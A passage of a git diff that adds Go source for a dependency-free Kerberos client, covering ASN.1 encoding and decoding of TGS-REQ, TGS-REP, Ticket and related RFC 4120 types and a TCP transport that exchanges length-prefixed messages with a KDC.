r.PAData, + CRealm: r.CRealm, + CName: r.CName, + Ticket: tkt_raw, + EncPart: r.EncPart, + } + seq_contents, err := marshalSequenceContents(inner) + if err != nil { + return nil, err + } + return wrapApplication(MsgTypeTGSRep, seq_contents) +} + +// Unmarshal decodes a TGS-REP from an ASN.1 APPLICATION[13] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (r *TGSRep) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, MsgTypeTGSRep) + if err != nil { + return 0, fmt.Errorf("tgsrep: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner kdcRepInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("tgsrep inner unmarshal: %w", err) + } + + r.PVNO = inner.PVNO + r.MsgType = inner.MsgType + r.PAData = inner.PAData + r.CRealm = inner.CRealm + r.CName = inner.CName + r.EncPart = inner.EncPart + + // Unmarshal the ticket from the raw value + tkt_raw_bytes, err := asn1.Marshal(inner.Ticket) + if err != nil { + return 0, err + } + if _, err := r.Ticket.Unmarshal(tkt_raw_bytes); err != nil { + return 0, fmt.Errorf("tgsrep ticket unmarshal: %w", err) + } + + return consumed, nil +} diff --git a/network/kerberos/messages/tgsreq.go b/network/kerberos/messages/tgsreq.go new file mode 100644 index 00000000..f1fd3d62 --- /dev/null +++ b/network/kerberos/messages/tgsreq.go @@ -0,0 +1,78 @@ +package messages + +import ( + "encoding/asn1" + "fmt" +) + +// tgsReqInner is the inner SEQUENCE of a TGS-REQ message. +type tgsReqInner struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int `asn1:"explicit,tag:1"` + // MsgType is the message type (always MsgTypeTGSReq = 12). + MsgType int `asn1:"explicit,tag:2"` + // PAData contains pre-authentication data (must include PA-TGS-REQ with AP-REQ). + PAData []PAData `asn1:"explicit,tag:3,optional"` + // ReqBody is the KDC request body specifying the desired service ticket. + ReqBody KDCReqBody `asn1:"explicit,tag:4"` +} + +// TGSReq is a Kerberos TGS-REQ (Ticket Granting Service Request) message, +// APPLICATION[12], as defined in RFC 4120 Section 5.4.1. +// It is sent by the client to the TGS to request a service ticket. +// The PA-TGS-REQ pre-authentication data must contain an AP-REQ with the TGT. +type TGSReq struct { + // PVNO is the Kerberos protocol version (always 5). + PVNO int + // MsgType is the message type (always MsgTypeTGSReq = 12). + MsgType int + // PAData contains the PA-TGS-REQ with the AP-REQ carrying the TGT. + PAData []PAData + // ReqBody is the request body specifying the requested service ticket parameters. + ReqBody KDCReqBody +} + +// Marshal encodes the TGS-REQ as an ASN.1 APPLICATION[12] wrapped SEQUENCE. +func (r *TGSReq) Marshal() ([]byte, error) { + inner := tgsReqInner{ + PVNO: KerberosV5, + MsgType: MsgTypeTGSReq, + PAData: r.PAData, + ReqBody: r.ReqBody, + } + seq_contents, err := marshalSequenceContents(inner) + if err != nil { + return nil, err + } + return wrapApplication(MsgTypeTGSReq, seq_contents) +} + +// Unmarshal decodes a TGS-REQ from an ASN.1 APPLICATION[12] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (r *TGSReq) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, MsgTypeTGSReq) + if err != nil { + return 0, fmt.Errorf("tgsreq: %w", err) + } + + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner tgsReqInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, fmt.Errorf("tgsreq inner unmarshal: %w", err) + } + + r.PVNO = inner.PVNO + r.MsgType = inner.MsgType + r.PAData = inner.PAData + r.ReqBody = inner.ReqBody + return consumed, nil +} diff --git a/network/kerberos/messages/ticket.go b/network/kerberos/messages/ticket.go new file mode 100644 index 00000000..883deb8f --- /dev/null +++ b/network/kerberos/messages/ticket.go @@ -0,0 +1,77 @@ +package messages + +import ( + "encoding/asn1" +) + +// ticketInner is the inner SEQUENCE of a Kerberos Ticket, as defined in RFC 4120 Section 5.3. +type ticketInner struct { + // TktVno is the ticket version number (always 5). + TktVno int `asn1:"explicit,tag:0"` + // Realm is the realm of the principal named in the SName field. + Realm string `asn1:"explicit,tag:1,generalstring"` + // SName is the name of the server for which the ticket was issued. + SName PrincipalName `asn1:"explicit,tag:2"` + // EncPart is the encrypted part of the ticket. + EncPart EncryptedData `asn1:"explicit,tag:3"` +} + +// Ticket is a Kerberos ticket (APPLICATION[1]), as defined in RFC 4120 Section 5.3. +// It carries an encrypted session key and authorization data for a service principal. +type Ticket struct { + // TktVno is the Kerberos version number embedded in the ticket (always 5). + TktVno int + // Realm is the realm of the service principal. + Realm string + // SName is the name of the service principal. + SName PrincipalName + // EncPart is the encrypted portion of the ticket. + EncPart EncryptedData +} + +// Marshal encodes the Ticket as an ASN.1 APPLICATION[1] wrapped SEQUENCE. +func (t *Ticket) Marshal() ([]byte, error) { + inner := ticketInner{ + TktVno: t.TktVno, + Realm: t.Realm, + SName: t.SName, + EncPart: t.EncPart, + } + seq_contents, err := marshalSequenceContents(inner) + if err != nil { + return nil, err + } + return wrapApplication(1, seq_contents) +} + +// Unmarshal decodes a Ticket from an ASN.1 APPLICATION[1] wrapped SEQUENCE. +// Returns the number of bytes consumed from data. +func (t *Ticket) Unmarshal(data []byte) (int, error) { + inner_bytes, consumed, err := unwrapApplication(data, 1) + if err != nil { + return 0, err + } + + // inner_bytes is the raw SEQUENCE contents (no tag/len wrapper) + // We need to wrap it back in a SEQUENCE for asn1.Unmarshal + seq_bytes, err := asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassUniversal, + Tag: asn1.TagSequence, + IsCompound: true, + Bytes: inner_bytes, + }) + if err != nil { + return 0, err + } + + var inner ticketInner + if _, err := asn1.Unmarshal(seq_bytes, &inner); err != nil { + return 0, err + } + + t.TktVno = inner.TktVno + t.Realm = inner.Realm + t.SName = inner.SName + t.EncPart = inner.EncPart + return consumed, nil +} diff --git a/network/kerberos/messages/types.go b/network/kerberos/messages/types.go new file mode 100644 index 00000000..a7caa1c8 --- /dev/null +++ b/network/kerberos/messages/types.go @@ -0,0 +1,96 @@ +package messages + +import ( + "encoding/asn1" + "time" +) + +// KerberosTime represents a Kerberos timestamp (GeneralizedTime without fractional seconds). +// It is stored as a standard Go time.Time value. +type KerberosTime = time.Time + +// PrincipalName contains a name-type and a sequence of name strings, +// as defined in RFC 4120 Section 5.2.2. +type PrincipalName struct { + // NameType specifies the type of name (e.g. NT-PRINCIPAL = 1). + NameType int `asn1:"explicit,tag:0"` + // NameString contains the sequence of name components. + NameString []string `asn1:"explicit,tag:1"` +} + +// EncryptedData holds a Kerberos encrypted blob, as defined in RFC 4120 Section 5.2.9. +// The actual encryption algorithm and key are identified by EType. +type EncryptedData struct { + // EType identifies the encryption algorithm used. + EType int `asn1:"explicit,tag:0"` + // KvNo is the optional key version number. + KvNo int `asn1:"explicit,tag:1,optional"` + // Cipher contains the encrypted bytes. + Cipher []byte `asn1:"explicit,tag:2"` +} + +// HostAddress represents a network address, as defined in RFC 4120 Section 5.2.5. +type HostAddress struct { + // AddrType identifies the address type (e.g. 2 = IPv4, 24 = IPv6). + AddrType int `asn1:"explicit,tag:0"` + // Address contains the raw address bytes. + Address []byte `asn1:"explicit,tag:1"` +} + +// AuthorizationData is an authorization-data element, as defined in RFC 4120 Section 5.2.6. +type AuthorizationData struct { + // ADType identifies the authorization-data type. + ADType int `asn1:"explicit,tag:0"` + // ADData contains the type-specific authorization data. + ADData []byte `asn1:"explicit,tag:1"` +} + +// PAData is a pre-authentication data element, as defined in RFC 4120 Section 5.2.7. +type PAData struct { + // PADataType identifies the pre-authentication data type. + PADataType int `asn1:"explicit,tag:1"` + // PADataValue contains the pre-authentication data bytes. + PADataValue []byte `asn1:"explicit,tag:2"` +} + +// KDCOptions is a bit string encoding KDC request options flags, +// as defined in RFC 4120 Section 5.4.1. +type KDCOptions = asn1.BitString + +// marshalSequenceContents marshals v to ASN.1 and returns the raw SEQUENCE contents +// (stripping the outer SEQUENCE tag and length). +func marshalSequenceContents(v interface{}) ([]byte, error) { + b, err := asn1.Marshal(v) + if err != nil { + return nil, err + } + var raw asn1.RawValue + if _, err := asn1.Unmarshal(b, &raw); err != nil { + return nil, err + } + return raw.Bytes, nil +} + +// wrapApplication wraps the given inner bytes in an ASN.1 APPLICATION tag. +func wrapApplication(tag int, inner []byte) ([]byte, error) { + return asn1.Marshal(asn1.RawValue{ + Class: asn1.ClassApplication, + Tag: tag, + IsCompound: true, + Bytes: inner, + }) +} + +// unwrapApplication unwraps an ASN.1 APPLICATION tag from data and verifies the tag. +// Returns the inner bytes and the number of bytes consumed from data. +func unwrapApplication(data []byte, expected_tag int) (inner []byte, consumed int, err error) { + var raw asn1.RawValue + rest, err := asn1.Unmarshal(data, &raw) + if err != nil { + return nil, 0, err + } + if raw.Class != asn1.ClassApplication || raw.Tag != expected_tag { + return nil, 0, asn1.StructuralError{Msg: "wrong APPLICATION tag"} + } + return raw.Bytes, len(data) - len(rest), nil +} diff --git a/network/kerberos/transport.go b/network/kerberos/transport.go new file mode 100644 index 00000000..fe7427fd --- /dev/null +++ b/network/kerberos/transport.go @@ -0,0 +1,71 @@ +// Package kerberos provides a native Kerberos client implementation for +// Active Directory authentication, without external dependencies. +// It supports RC4-HMAC and AES-CTS-HMAC-SHA1-96 encryption types. +package kerberos + +import ( + "encoding/binary" + "fmt" + "io" + "net" + "time" +) + +// defaultKDCPort is the standard Kerberos port. +const defaultKDCPort = 88 + +// defaultTimeout is the TCP dial and I/O timeout for KDC connections. +const defaultTimeout = 10 * time.Second + +// kdcSend sends a Kerberos message to the KDC over TCP and returns the response. +// Kerberos over TCP uses a 4-byte big-endian length prefix followed by the message body. +// Per RFC 4120 Section 7.2.2. +func kdcSend(kdc_host string, kdc_port int, msg []byte) ([]byte, error) { + addr := net.JoinHostPort(kdc_host, fmt.Sprintf("%d", kdc_port)) + conn, err := net.DialTimeout("tcp", addr, defaultTimeout) + if err != nil { + return nil, fmt.Errorf("kerberos: connect to KDC %s: %w", addr, err) + } + defer conn.Close() + + // Set I/O deadline for the entire exchange + conn.SetDeadline(time.Now().Add(defaultTimeout)) + + // Write: 4-byte big-endian length prefix || message body + len_buf := make([]byte, 4) + binary.BigEndian.PutUint32(len_buf, uint32(len(msg))) + + packet := make([]byte, 4+len(msg)) + copy(packet[:4], len_buf) + copy(packet[4:], msg) + + if _, err := conn.Write(packet); err != nil { + return nil, fmt.Errorf("kerberos: send to KDC: %w", err) + } + + // Read the 4-byte response length + resp_len_buf := make([]byte, 4) + if err := readFull(conn, resp_len_buf); err != nil { + return nil, fmt.Errorf("kerberos: read response length: %w", err) + } + resp_len := binary.BigEndian.Uint32(resp_len_buf) + + // Sanity-check the response size (16 MB max) + if resp_len > 16*1024*1024 { + return nil, fmt.Errorf("kerberos: KDC response too large: %d bytes", resp_len) + } + + // Read the response body + resp_buf := make([]byte, resp_len) + if err := readFull(conn, resp_buf); err != nil { + return nil, fmt.Errorf("kerberos: read response body: %w", err) + } + + return resp_buf, nil +} + +// readFull reads exactly len(buf) bytes from conn, retrying on partial reads. +func readFull(conn net.Conn, buf []byte) error { + _, err := io.ReadFull(conn, buf) + return err +}